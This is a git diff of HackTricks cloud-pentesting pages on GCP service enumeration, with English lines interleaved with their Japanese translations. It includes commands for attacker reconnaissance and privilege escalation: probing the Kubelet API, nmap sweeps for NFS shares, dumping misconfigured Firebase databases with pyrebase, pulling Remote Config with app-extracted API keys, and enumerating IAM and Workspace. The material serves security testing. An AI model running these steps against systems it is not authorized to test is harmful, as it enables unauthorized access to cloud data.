gcloud container node-pools describe --cluster <cluster> --zone <zone> <node-pool>
```
## Kubernetes
For information about what is Kubernetes check this page:
Kubernetesとは何かについての情報は、こちらのページを確認してください
{{#ref}}
../../kubernetes-security/
{{#endref}}
First, you can check to see if any Kubernetes clusters exist in your project.
まず、プロジェクト内にKubernetesクラスターが存在するかどうかを確認できます。
```
gcloud container clusters list
```
If you do have a cluster, you can have `gcloud` automatically configure your `~/.kube/config` file. This file is used to authenticate you when you use [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/), the native CLI for interacting with K8s clusters. Try this command.
クラスターがある場合、`gcloud`は自動的に`~/.kube/config`ファイルを構成できます。このファイルは、K8sクラスターと対話するためのネイティブCLIである[kubectl](https://kubernetes.io/docs/reference/kubectl/overview/)を使用する際に、あなたを認証するために使用されます。このコマンドを試してください。
```
gcloud container clusters get-credentials [CLUSTER NAME] --region [REGION]
```
次に、生成された資格情報を確認するために `~/.kube/config` ファイルを見てください。このファイルは、アクティブな `gcloud` セッションが使用しているのと同じアイデンティティに基づいてアクセストークンを自動的に更新するために使用されます。もちろん、これには正しい権限が必要です。
Then, take a look at the `~/.kube/config` file to see the generated credentials. This file will be used to automatically refresh access tokens based on the same identity that your active `gcloud` session is using. This of course requires the correct permissions in place.
Once this is set up, you can try the following command to get the cluster configuration.
これが設定されると、クラスターの構成を取得するために次のコマンドを試すことができます。
```
kubectl cluster-info
```
You can read more about `gcloud` for containers [here](https://cloud.google.com/sdk/gcloud/reference/container/).
This is a simple script to enumerate kubernetes in GCP: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
### TLS Boostrap Privilege Escalation
### TLS ブートストラップ特権昇格
Initially this privilege escalation technique allowed to **privesc inside the GKE cluster** effectively allowing an attacker to **fully compromise it**.
最初にこの特権昇格技術は **GKE クラスター内での privesc** を可能にし、攻撃者が **完全にそれを侵害する** ことを許可しました。
This is because GKE provides [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) in the metadata, which is **accessible by anyone by just compromising a pod**.
これは、GKE がメタデータ内に [TLS ブートストラップ資格情報](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) を提供しており、**ポッドを侵害するだけで誰でもアクセス可能** だからです。
The technique used is explained in the following posts:
使用される技術は以下の投稿で説明されています:
- [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/)
- [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/)
- [https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)
Ans this tool was created to automate the process: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
このプロセスを自動化するために作成されたツールはこちらです: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
However, the technique abused the fact that **with the metadata credentials** it was possible to **generate a CSR** (Certificate Signing Request) for a **new node**, which was **automatically approved**.\
In my test I checked that **those requests aren't automatically approved anymore**, so I'm not sure if this technique is still valid.
しかし、この技術は **メタデータ資格情報を使用することで** **新しいノードの CSR** (証明書署名要求) を **生成することが可能** であり、これは **自動的に承認されていました**\
私のテストでは、**これらの要求はもはや自動的に承認されない** ことを確認したので、この技術がまだ有効かどうかはわかりません。
### Secrets in Kubelet API <a href="#the-kubelet-api-git-secrets-redux" id="the-kubelet-api-git-secrets-redux"></a>
In [**this post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) it was discovered it was discovered a Kubelet API address accesible from inside a pod in GKE giving the details of the pods running:
### Kubelet API の秘密 <a href="#the-kubelet-api-git-secrets-redux" id="the-kubelet-api-git-secrets-redux"></a>
[**この投稿**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) では、GKE 内のポッドからアクセス可能な Kubelet API アドレスが発見され、実行中のポッドの詳細が提供されました:
```
curl -v -k http://10.124.200.1:10255/pods
```
Even if the API **doesn't allow to modify resources**, it could be possible to find **sensitive information** in the response. The endpoint /pods was found using [**Kiterunner**](https://github.com/assetnote/kiterunner).
APIが**リソースを変更することを許可していなくても**、レスポンス内に**機密情報**を見つけることができるかもしれません。エンドポイント/podsは[**Kiterunner**](https://github.com/assetnote/kiterunner)を使用して見つかりました。
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,8 +4,7 @@
## GCP - Cloud DNS
Google Cloud DNS is a high-performance, resilient, global Domain Name System (DNS) service.
Google Cloud DNSは、高性能で回復力のあるグローバルなドメインネームシステムDNSサービスです。
```bash
# This will usually error if DNS service isn't configured in the project
gcloud dns project-info describe <project>
@@ -21,9 +20,4 @@ gcloud dns response-policies list
## DNS policies control internal DNS server settings. You can apply policies to DNS servers on Google Cloud Platform VPC networks you have access to.
gcloud dns policies list
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,37 +2,36 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
Google Cloud Filestore is a **managed file storage service** tailored for applications in need of both a **filesystem interface and a shared filesystem for data**. This service excels by offering high-performance file shares, which can be integrated with various GCP services. Its utility shines in scenarios where traditional file system interfaces and semantics are crucial, such as in media processing, content management, and the backup of databases.
Google Cloud Filestoreは、**ファイルシステムインターフェースとデータの共有ファイルシステム**の両方を必要とするアプリケーション向けに特化した**管理されたファイルストレージサービス**です。このサービスは、高性能なファイル共有を提供し、さまざまなGCPサービスと統合できます。従来のファイルシステムインターフェースとセマンティクスが重要なシナリオ、例えばメディア処理、コンテンツ管理、データベースのバックアップなどでその有用性が際立ちます。
You can think of this like any other **NFS** **shared document repository -** a potential source of sensitive info.
これは、他の**NFS** **共有ドキュメントリポジトリ**のように考えることができ、機密情報の潜在的なソースとなります。
### Connections
### 接続
When creating a Filestore instance it's possible to **select the network where it's going to be accessible**.
Filestoreインスタンスを作成する際には、**アクセス可能なネットワークを選択することができます**。
Moreover, by **default all clients on the selected VPC network and region are going to be able to access it**, however, it's possible to **restrict the access also by IP address** or range and indicate the access privilege (Admin, Admin Viewer, Editor, Viewer) user the client is going to get **depending on the IP address.**
さらに、**デフォルトでは選択したVPCネットワークとリージョンのすべてのクライアントがアクセスできるようになります**が、**IPアドレス**または範囲によってアクセスを**制限することも可能**で、クライアントが得るアクセス権限(AdminAdmin ViewerEditorViewer)を**IPアドレスに応じて指定することができます**
It can also be accessible via a **Private Service Access Connection:**
また、**プライベートサービスアクセス接続**を介してアクセスすることも可能です:
- Are per VPC network and can be used across all managed services such as Memorystore, Tensorflow and SQL.
- Are **between your VPC network and network owned by Google using a VPC peering**, enabling your instances and services to communicate exclusively by **using internal IP addresses**.
- Create an isolated project for you on the service-producer side, meaning no other customers share it. You will be billed for only the resources you provision.
- The VPC peering will import new routes to your VPC
- VPCネットワークごとにあり、MemorystoreTensorflow、SQLなどのすべての管理サービスで使用できます。
- **VPCピアリングを使用して、Googleが所有するネットワークとあなたのVPCネットワークの間にあります**。これにより、インスタンスとサービスが**内部IPアドレスを使用して専用に通信**できます。
- サービスプロデューサー側にあなた専用の孤立したプロジェクトを作成し、他の顧客と共有されることはありません。プロビジョニングしたリソースに対してのみ請求されます。
- VPCピアリングは、新しいルートをあなたのVPCにインポートします。
### Backups
### バックアップ
It's possible to create **backups of the File shares**. These can be later **restored in the origin** new Fileshare instance or in **new ones**.
**ファイル共有のバックアップを作成することが可能です**。これらは後で**元の新しいファイル共有インスタンス**または**新しいものに復元することができます**。
### Encryption
### 暗号化
By default a **Google-managed encryption key** will be used to encrypt the data, but it's possible to select a **Customer-managed encryption key (CMEK)**.
デフォルトでは、**Google管理の暗号化キー**がデータを暗号化するために使用されますが、**顧客管理の暗号化キーCMEK**を選択することも可能です。
### Enumeration
If you find a filestore available in the project, you can **mount it** from within your compromised Compute Instance. Use the following command to see if any exist.
### 列挙
プロジェクト内で利用可能なFilestoreを見つけた場合、**侵害されたコンピュートインスタンス内からマウントすることができます**。次のコマンドを使用して、存在するかどうかを確認してください。
```bash
# Instances
gcloud filestore instances list # Check the IP address
@@ -45,34 +44,29 @@ gcloud filestore backups describe --region <region> <backup>
# Search for NFS shares in a VPC subnet
sudo nmap -n -T5 -Pn -p 2049 --min-parallelism 100 --min-rate 1000 --open 10.99.160.2/20
```
> [!CAUTION]
> Note that a filestore service might be in a **completely new subnetwork created for it** (inside a Private Service Access Connection, which is a **VPC peer**).\
> So you might need to **enumerate VPC peers** to also run nmap over those network ranges.
> Note that a filestore service might be in a **完全に新しいサブネットワークが作成されている**(プライベートサービスアクセス接続内、これは**VPCピア**です)。\
> そのため、**VPCピアを列挙する**必要があり、これらのネットワーク範囲でnmapを実行する必要があります。
>
> ```bash
> # Get peerings
> # ピアリングを取得
> gcloud compute networks peerings list
> # Get routes imported from a peering
> # ピアリングからインポートされたルートを取得
> gcloud compute networks peerings list-routes <peering-name> --network=<network-name> --region=<region> --direction=INCOMING
> ```
### Privilege Escalation & Post Exploitation
### 権限昇格とポストエクスプロイト
There aren't ways to escalate privileges in GCP directly abusing this service, but using some **Post Exploitation tricks it's possible to get access to the data** and maybe you can find some credentials to escalate privileges:
GCPでこのサービスを直接悪用して権限を昇格させる方法はありませんが、いくつかの**ポストエクスプロイトトリックを使用することでデータにアクセスすることが可能です**。おそらく権限を昇格させるための資格情報を見つけることができるかもしれません:
{{#ref}}
../gcp-post-exploitation/gcp-filestore-post-exploitation.md
{{#endref}}
### Persistence
### 永続性
{{#ref}}
../gcp-persistence/gcp-filestore-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,47 +4,44 @@
## [Firebase](https://cloud.google.com/sdk/gcloud/reference/firebase/)
The Firebase Realtime Database is a cloud-hosted NoSQL database that lets you store and sync data between your users in realtime. [Learn more](https://firebase.google.com/products/realtime-database/).
Firebase Realtime Databaseは、ユーザー間でデータをリアルタイムで保存および同期できるクラウドホストのNoSQLデータベースです。[詳細はこちら](https://firebase.google.com/products/realtime-database/)
### Unauthenticated Enum
### 認証なしの列挙
Some **Firebase endpoints** could be found in **mobile applications**. It is possible that the Firebase endpoint used is **configured badly grating everyone privileges to read (and write)** on it.
一部の**Firebaseエンドポイント**は**モバイルアプリケーション**に存在する可能性があります。使用されているFirebaseエンドポイントが**不適切に設定されており、誰でも読み取り(および書き込み)権限を持っている**可能性があります。
This is the common methodology to search and exploit poorly configured Firebase databases:
これは、不適切に設定されたFirebaseデータベースを検索し、悪用するための一般的な方法論です
1. **Get the APK** of app you can use any of the tool to get the APK from the device for this POC.\
You can use “APK Extractor [https://play.google.com/store/apps/details?id=com.ext.ui\&hl=e](https://hackerone.com/redirect?signature=3774f35d1b5ea8a4fd209d80084daa9f5887b105&url=https%3A%2F%2Fplay.google.com%2Fstore%2Fapps%2Fdetails%3Fid%3Dcom.ext.ui%26hl%3Den)
2. **Decompile** the APK using **apktool**, follow the below command to extract the source code from the APK.
3. Go to the _**res/values/strings.xml**_ and look for this and **search** for “**firebase**” keyword
4. You may find something like this URL “_**https://xyz.firebaseio.com/**_
5. Next, go to the browser and **navigate to the found URL**: _https://xyz.firebaseio.com/.json_
6. 2 type of responses can appear:
1. **Permission Denied**”: This means that you cannot access it, so it's well configured
2. **null**” response or a bunch of **JSON data**: This means that the database is public and you at least have read access.
1. In this case, you could **check for writing privileges**, an exploit to test writing privileges can be found here: [https://github.com/MuhammadKhizerJaved/Insecure-Firebase-Exploit](https://github.com/MuhammadKhizerJaved/Insecure-Firebase-Exploit)
1. **アプリのAPKを取得**します。このPOCのためにデバイスからAPKを取得するために任意のツールを使用できます。\
APK Extractor」を使用できます [https://play.google.com/store/apps/details?id=com.ext.ui\&hl=e](https://hackerone.com/redirect?signature=3774f35d1b5ea8a4fd209d80084daa9f5887b105&url=https%3A%2F%2Fplay.google.com%2Fstore%2Fapps%2Fdetails%3Fid%3Dcom.ext.ui%26hl%3Den)
2. **apktool**を使用してAPKを**逆コンパイル**します。以下のコマンドに従ってAPKからソースコードを抽出します。
3. _**res/values/strings.xml**_に移動し、これを探して「**firebase**」キーワードを**検索**します。
4. _**https://xyz.firebaseio.com/**_」のようなURLが見つかるかもしれません。
5. 次に、ブラウザに移動し、**見つけたURLに移動**します_https://xyz.firebaseio.com/.json_
6. 2種類のレスポンスが表示される可能性があります:
1. **Permission Denied**」:これはアクセスできないことを意味し、適切に設定されています。
2. **null**」レスポンスまたは一連の**JSONデータ**:これはデータベースが公開されており、少なくとも読み取りアクセスがあることを意味します。
1. この場合、**書き込み権限を確認**できます。書き込み権限をテストするためのエクスプロイトはここにあります:[https://github.com/MuhammadKhizerJaved/Insecure-Firebase-Exploit](https://github.com/MuhammadKhizerJaved/Insecure-Firebase-Exploit)
**Interesting note**: When analysing a mobile application with **MobSF**, if it finds a firebase database it will check if this is **publicly available** and will notify it.
Alternatively, you can use [Firebase Scanner](https://github.com/shivsahni/FireBaseScanner), a python script that automates the task above as shown below:
**興味深い注記****MobSF**を使用してモバイルアプリケーションを分析する際、Firebaseデータベースが見つかると、それが**公開されているかどうか**を確認し、通知します。
また、[Firebase Scanner](https://github.com/shivsahni/FireBaseScanner)を使用することもできます。これは、上記のタスクを自動化するPythonスクリプトです。
```bash
python FirebaseScanner.py -f <commaSeperatedFirebaseProjectNames>
```
### Authenticated Enum
If you have credentials to access the Firebase database you can use a tool such as [**Baserunner**](https://github.com/iosiro/baserunner) to access more easily the stored information. Or a script like the following:
Firebaseデータベースにアクセスするための資格情報がある場合、[**Baserunner**](https://github.com/iosiro/baserunner)のようなツールを使用して、保存された情報により簡単にアクセスできます。または、次のようなスクリプトを使用できます:
```python
#Taken from https://blog.assetnote.io/bug-bounty/2020/02/01/expanding-attack-surface-react-native/
#Install pyrebase: pip install pyrebase4
import pyrebase
config = {
"apiKey": "FIREBASE_API_KEY",
"authDomain": "FIREBASE_AUTH_DOMAIN_ID.firebaseapp.com",
"databaseURL": "https://FIREBASE_AUTH_DOMAIN_ID.firebaseio.com",
"storageBucket": "FIREBASE_AUTH_DOMAIN_ID.appspot.com",
"apiKey": "FIREBASE_API_KEY",
"authDomain": "FIREBASE_AUTH_DOMAIN_ID.firebaseapp.com",
"databaseURL": "https://FIREBASE_AUTH_DOMAIN_ID.firebaseio.com",
"storageBucket": "FIREBASE_AUTH_DOMAIN_ID.appspot.com",
}
firebase = pyrebase.initialize_app(config)
@@ -53,29 +50,24 @@ db = firebase.database()
print(db.get())
```
他のアクションをデータベースでテストするには、データベースへの書き込みなど、[こちら](https://github.com/nhorvath/Pyrebase4)にあるPyrebase4のドキュメントを参照してください。
To test other actions on the database, such as writing to the database, refer to the Pyrebase4 documentation which can be found [here](https://github.com/nhorvath/Pyrebase4).
### APPIDとAPIキーで情報にアクセスする <a href="#access-info-with-appid-and-api-key" id="access-info-with-appid-and-api-key"></a>
### Access info with APPID and API Key <a href="#access-info-with-appid-and-api-key" id="access-info-with-appid-and-api-key"></a>
If you decompile the iOS application and open the file `GoogleService-Info.plist` and you find the API Key and APP ID:
iOSアプリケーションを逆コンパイルし、`GoogleService-Info.plist`ファイルを開くと、APIキーとAPP IDが見つかる場合があります
- API KEY **AIzaSyAs1\[...]**
- APP ID **1:612345678909:ios:c212345678909876**
You may be able to access some interesting information
いくつかの興味深い情報にアクセスできるかもしれません。
**Request**
**リクエスト**
`curl -v -X POST "https://firebaseremoteconfig.googleapis.com/v1/projects/612345678909/namespaces/firebase:fetch?key=AIzaSyAs1[...]" -H "Content-Type: application/json" --data '{"appId": "1:612345678909:ios:c212345678909876", "appInstanceId": "PROD"}'`
## References <a href="#references" id="references"></a>
## 参考文献 <a href="#references" id="references"></a>
- [https://blog.securitybreached.org/2020/02/04/exploiting-insecure-firebase-database-bugbounty/](https://blog.securitybreached.org/2020/02/04/exploiting-insecure-firebase-database-bugbounty/)
- [https://medium.com/@danangtriatmaja/firebase-database-takover-b7929bbb62e1](https://medium.com/@danangtriatmaja/firebase-database-takover-b7929bbb62e1)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,8 +4,7 @@
## [Cloud Firestore](https://cloud.google.com/sdk/gcloud/reference/firestore/)
Cloud Firestore, provided by Firebase and Google Cloud, is a **database that is both scalable and flexible, catering to mobile, web, and server development needs**. Its functionalities are akin to those of Firebase Realtime Database, ensuring data synchronization across client applications with realtime listeners. A significant feature of Cloud Firestore is its support for offline operations on mobile and web platforms, enhancing app responsiveness even in conditions of high network latency or absence of internet connection. Moreover, it is designed to integrate smoothly with other products from Firebase and Google Cloud, such as Cloud Functions.
Cloud Firestoreは、FirebaseGoogle Cloudによって提供される**スケーラブルで柔軟なデータベースであり、モバイル、ウェブ、サーバー開発のニーズに応えます**。その機能はFirebase Realtime Databaseに似ており、リアルタイムリスナーを使用してクライアントアプリケーション間でデータの同期を保証します。Cloud Firestoreの重要な機能は、モバイルおよびウェブプラットフォームでのオフライン操作をサポートしており、高いネットワーク遅延やインターネット接続のない状況でもアプリの応答性を向上させることです。さらに、Cloud Functionsなど、FirebaseおよびGoogle Cloudの他の製品とスムーズに統合されるように設計されています。
```bash
gcloud firestore indexes composite list
gcloud firestore indexes composite describe <index>
@@ -13,9 +12,4 @@ gcloud firestore indexes fields list
gcloud firestore indexes fields describe <name>
gcloud firestore export gs://my-source-project-export/export-20190113_2109 --collection-ids='cameras','radios'
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,43 +1,40 @@
# GCP - IAM, Principals & Org Policies Enum
# GCP - IAM、プリンシパルと組織ポリシーの列挙
{{#include ../../../banners/hacktricks-training.md}}
## Service Accounts
## サービスアカウント
For an intro about what is a service account check:
サービスアカウントとは何かの紹介については、以下を確認してください:
{{#ref}}
../gcp-basic-information/
{{#endref}}
### Enumeration
A service account always belongs to a project:
### 列挙
サービスアカウントは常にプロジェクトに属します:
```bash
gcloud iam service-accounts list --project <project>
```
## ユーザーとグループ
## Users & Groups
For an intro about how Users & Groups work in GCP check:
GCPにおけるユーザーとグループの動作についてのイントロは以下を確認してください
{{#ref}}
../gcp-basic-information/
{{#endref}}
### Enumeration
### 列挙
With the permissions **`serviceusage.services.enable`** and **`serviceusage.services.use`** it's possible to **enable services** in a project and use them.
権限 **`serviceusage.services.enable`** **`serviceusage.services.use`** があれば、プロジェクト内で **サービスを有効にする** ことができ、それを使用することができます。
> [!CAUTION]
> Note that by default, Workspace users are granted the role **Project Creator**, giving them access to **create new projects**. When a user creates a project, he is granted the **`owner`** role over it. So, he could **enable these services over the project to be able to enumerate Workspace**.
> デフォルトでは、Workspaceユーザーには **Project Creator** の役割が付与され、新しいプロジェクトを **作成する** アクセス権が与えられます。ユーザーがプロジェクトを作成すると、彼はそのプロジェクトに対して **`owner`** の役割が付与されます。したがって、彼は **Workspaceを列挙するためにこれらのサービスをプロジェクトで有効にする** ことができます。
>
> However, notice that it's also needed to have **enough permissions in Workspace** to be able to call these APIs.
If you can **enable the `admin` service** and if your user has **enough privileges in workspace,** you could **enumerate all groups & users** with the following lines.\
Even if it says **`identity groups`**, it also returns **users without any groups**:
> ただし、これらのAPIを呼び出すためには **Workspace内で十分な権限が必要** であることに注意してください。
もし **`admin` サービスを有効にする** ことができ、ユーザーが **Workspace内で十分な権限を持っている** なら、以下の行を使って **すべてのグループとユーザーを列挙する** ことができます。\
**`identity groups`** と表示されていても、**グループに属さないユーザー** も返されます:
```bash
# Enable admin
gcloud services enable admin.googleapis.com
@@ -60,38 +57,36 @@ gcloud identity groups memberships search-transitive-memberships --group-email=<
## Get a graph (if you have enough permissions)
gcloud identity groups memberships get-membership-graph --member-email=<email> --labels=cloudidentity.googleapis.com/groups.discussion_forum
```
> [!TIP]
> In the previous examples the param `--labels` is required, so a generic value is used (it's not requires if you used the API directly like [**PurplePanda does in here**](https://github.com/carlospolop/PurplePanda/blob/master/intel/google/discovery/disc_groups_users.py).
> 前の例では、パラメータ `--labels` が必要であり、一般的な値が使用されていますAPIを直接使用した場合は必要ありません、[**PurplePandaがここで行っているように**](https://github.com/carlospolop/PurplePanda/blob/master/intel/google/discovery/disc_groups_users.py))。
Even with the admin service enable, it's possible that you get an error enumerating them because your compromised workspace user doesn't have enough permissions:
管理者サービスが有効になっていても、侵害されたワークスペースユーザーに十分な権限がないため、列挙中にエラーが発生する可能性があります:
<figure><img src="../../../images/image (193).png" alt=""><figcaption></figcaption></figure>
## IAM
Check [**this for basic information about IAM**](../gcp-basic-information/#iam-roles).
[**IAMに関する基本情報はこちらを確認してください**](../gcp-basic-information/#iam-roles)
### Default Permissions
### デフォルトの権限
From the [**docs**](https://cloud.google.com/resource-manager/docs/default-access-control): When an organization resource is created, all users in your domain are granted the **Billing Account Creator** and **Project Creator** roles by default. These default roles allow your users to start using Google Cloud immediately, but are not intended for use in regular operation of your organization resource.
[**ドキュメント**](https://cloud.google.com/resource-manager/docs/default-access-control)から:組織リソースが作成されると、ドメイン内のすべてのユーザーに**請求アカウント作成者**および**プロジェクト作成者**の役割がデフォルトで付与されます。これらのデフォルトの役割により、ユーザーはGoogle Cloudをすぐに使用開始できますが、組織リソースの通常の運用には使用されることを意図していません。
These **roles** grant the **permissions**:
これらの**役割**は**権限**を付与します:
- `billing.accounts.create` and `resourcemanager.organizations.get`
- `resourcemanager.organizations.get` and `resourcemanager.projects.create`
- `billing.accounts.create` および `resourcemanager.organizations.get`
- `resourcemanager.organizations.get` および `resourcemanager.projects.create`
Moreover, when a user creates a project, he is **granted owner of that project automatically** according to the [docs](https://cloud.google.com/resource-manager/docs/access-control-proj). Therefore, by default, a user will be able to create a project and run any service on it (miners? Workspace enumeration? ...)
さらに、ユーザーがプロジェクトを作成すると、[ドキュメント](https://cloud.google.com/resource-manager/docs/access-control-proj)に従って、そのプロジェクトの**オーナーが自動的に付与されます**。したがって、デフォルトでは、ユーザーはプロジェクトを作成し、その上で任意のサービスを実行できるようになります(マイナー?ワークスペースの列挙?...
> [!CAUTION]
> The highest privilege in a GCP Organization is the **Organization Administrator** role.
> GCP組織における最も高い権限は**組織管理者**の役割です。
### set-iam-policy vs add-iam-policy-binding
In most of the services you will be able to change the permissions over a resource using the method **`add-iam-policy-binding`** or **`set-iam-policy`**. The main difference is that **`add-iam-policy-binding` adds a new role binding** to the existent IAM policy while **`set-iam-policy`** will **delete the previously** granted permissions and **set only the ones** indicated in the command.
### Enumeration
ほとんどのサービスでは、**`add-iam-policy-binding`**または**`set-iam-policy`**メソッドを使用してリソースに対する権限を変更できます。主な違いは、**`add-iam-policy-binding`は既存のIAMポリシーに新しい役割バインディングを追加する**のに対し、**`set-iam-policy`は以前に付与された権限を**削除し、**コマンドで指定されたものだけを設定します**。
### 列挙
```bash
# Roles
## List roles
@@ -113,56 +108,45 @@ gcloud iam list-testable-permissions --filter "NOT apiDisabled: true" <resource>
## Grantable roles to a resource
gcloud iam list-grantable-roles <project URL>
```
### cloudasset IAM Enumeration
There are different ways to check all the permissions of a user in different resources (such as organizations, folders, projects...) using this service.
- The permission **`cloudasset.assets.searchAllIamPolicies`** can request **all the iam policies** inside a resource.
このサービスを使用して、異なるリソース(組織、フォルダー、プロジェクトなど)内のユーザーのすべての権限を確認する方法はいくつかあります。
- 権限 **`cloudasset.assets.searchAllIamPolicies`** は、リソース内の **すべてのiamポリシー** を要求できます。
```bash
gcloud asset search-all-iam-policies #By default uses current configured project
gcloud asset search-all-iam-policies --scope folders/1234567
gcloud asset search-all-iam-policies --scope organizations/123456
gcloud asset search-all-iam-policies --scope projects/project-id-123123
```
- The permission **`cloudasset.assets.analyzeIamPolicy`** can request **all the iam policies** of a principal inside a resource.
- 権限 **`cloudasset.assets.analyzeIamPolicy`** は、リソース内のプリンシパルの **すべての IAM ポリシー** を要求できます。
```bash
# Needs perm "cloudasset.assets.analyzeIamPolicy" over the asset
gcloud asset analyze-iam-policy --organization=<org-id> \
--identity='user:email@hacktricks.xyz'
--identity='user:email@hacktricks.xyz'
gcloud asset analyze-iam-policy --folder=<folder-id> \
--identity='user:email@hacktricks.xyz'
--identity='user:email@hacktricks.xyz'
gcloud asset analyze-iam-policy --project=<project-name> \
--identity='user:email@hacktricks.xyz'
--identity='user:email@hacktricks.xyz'
```
- The permission **`cloudasset.assets.searchAllResources`** allows listing all resources of an organization, folder, or project. IAM related resources (like roles) included.
- 権限 **`cloudasset.assets.searchAllResources`** は、組織、フォルダー、またはプロジェクトのすべてのリソースを一覧表示することを許可します。IAM関連のリソースロールなどが含まれます。
```bash
gcloud asset search-all-resources --scope projects/<proj-name>
gcloud asset search-all-resources --scope folders/1234567
gcloud asset search-all-resources --scope organizations/123456
```
- The permission **`cloudasset.assets.analyzeMove`** but be useful to also retrieve policies affecting a resource like a project
- 権限 **`cloudasset.assets.analyzeMove`** は、プロジェクトのようなリソースに影響を与えるポリシーを取得するのにも役立ちます。
```bash
gcloud asset analyze-move --project=<proj-name> \
--destination-organization=609216679593
--destination-organization=609216679593
```
- I suppose the permission **`cloudasset.assets.queryIamPolicy`** could also give access to find permissions of principals
- **`cloudasset.assets.queryIamPolicy`** の権限は、プリンシパルの権限を見つけるためのアクセスを提供する可能性があります。
```bash
# But, when running something like this
gcloud asset query --project=<proj> --statement='SELECT * FROM compute_googleapis_com_Instance'
# I get the error
ERROR: (gcloud.asset.query) UNAUTHENTICATED: QueryAssets API is only supported for SCC premium customers. See https://cloud.google.com/security-command-center/pricing
```
### testIamPermissions enumeration
> [!CAUTION]
@@ -207,24 +191,18 @@ For an intro about what Org Policies are check:
../gcp-basic-information/
{{#endref}}
The IAM policies indicate the permissions principals has over resources via roles, which are assigned granular permissions. Organization policies **restrict how those services can be used or which features are disabled**. This helps in order to improve the least privilege of each resource in the GCP environment.
IAMポリシーは、役割を介してリソースに対するプリンシパルの権限を示し、これにより細かい権限が割り当てられます。組織ポリシーは、**これらのサービスがどのように使用できるか、またはどの機能が無効にされているかを制限します**。これは、GCP環境内の各リソースの最小権限を向上させるために役立ちます。
```bash
gcloud resource-manager org-policies list --organization=ORGANIZATION_ID
gcloud resource-manager org-policies list --folder=FOLDER_ID
gcloud resource-manager org-policies list --project=PROJECT_ID
```
### Privesc
In the following page you can check how to **abuse org policies permissions to escalate privileges**:
次のページでは、**組織ポリシーの権限を悪用して特権を昇格させる方法**を確認できます:
{{#ref}}
../gcp-privilege-escalation/gcp-orgpolicy-privesc.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,41 +4,40 @@
## KMS
The [**Cloud Key Management Service**](https://cloud.google.com/kms/docs/) serves as a secure storage for **cryptographic keys**, which are essential for operations like **encrypting and decrypting sensitive data**. These keys are organized within key rings, allowing for structured management. Furthermore, access control can be meticulously configured, either at the individual key level or for the entire key ring, ensuring that permissions are precisely aligned with security requirements.
[**Cloud Key Management Service**](https://cloud.google.com/kms/docs/)は、**暗号鍵**の安全な保管を提供し、**機密データの暗号化および復号化**などの操作に不可欠です。これらの鍵はキーリング内に整理され、構造的な管理が可能です。さらに、アクセス制御は個々の鍵レベルまたは全体のキーリングに対して詳細に設定でき、権限がセキュリティ要件に正確に一致するようにします。
KMS key rings are by **default created as global**, which means that the keys inside that key ring are accessible from any region. However, it's possible to create specific key rings in **specific regions**.
KMSキーリングは**デフォルトでグローバル**に作成され、これはそのキーリング内の鍵が任意のリージョンからアクセス可能であることを意味します。ただし、**特定のリージョン**に特定のキーリングを作成することも可能です。
### Key Protection Level
- **Software keys**: Software keys are **created and managed by KMS entirely in software**. These keys are **not protected by any hardware security module (HSM)** and can be used for t**esting and development purposes**. Software keys are **not recommended for production** use because they provide low security and are susceptible to attacks.
- **Cloud-hosted keys**: Cloud-hosted keys are **created and managed by KMS** in the cloud using a highly available and reliable infrastructure. These keys are **protected by HSMs**, but the HSMs are **not dedicated to a specific customer**. Cloud-hosted keys are suitable for most production use cases.
- **External keys**: External keys are **created and managed outside of KMS**, and are imported into KMS for use in cryptographic operations. External keys **can be stored in a hardware security module (HSM) or a software library, depending on the customer's preference**.
- **ソフトウェア鍵**: ソフトウェア鍵は**KMSによって完全にソフトウェアで作成および管理**されます。これらの鍵は**ハードウェアセキュリティモジュールHSMによって保護されておらず**、**テストおよび開発目的**で使用できます。ソフトウェア鍵は**本番環境**での使用には推奨されません。なぜなら、低いセキュリティを提供し、攻撃に対して脆弱だからです。
- **クラウドホスト鍵**: クラウドホスト鍵は、**KMSによってクラウド内で作成および管理**され、高可用性で信頼性の高いインフラストラクチャを使用します。これらの鍵は**HSMによって保護されていますが**、HSMは**特定の顧客に専用ではありません**。クラウドホスト鍵はほとんどの本番使用ケースに適しています。
- **外部鍵**: 外部鍵は**KMSの外部で作成および管理**され、暗号操作に使用するためにKMSにインポートされます。外部鍵は**顧客の好みに応じてハードウェアセキュリティモジュールHSMまたはソフトウェアライブラリに保存できます**。
### Key Purposes
- **Symmetric encryption/decryption**: Used to **encrypt and decrypt data using a single key for both operations**. Symmetric keys are fast and efficient for encrypting and decrypting large volumes of data.
- **Supported**: [cryptoKeys.encrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys/encrypt), [cryptoKeys.decrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys/decrypt)
- **Asymmetric Signing**: Used for secure communication between two parties without sharing the key. Asymmetric keys come in a pair, consisting of a **public key and a private key**. The public key is shared with others, while the private key is kept secret.
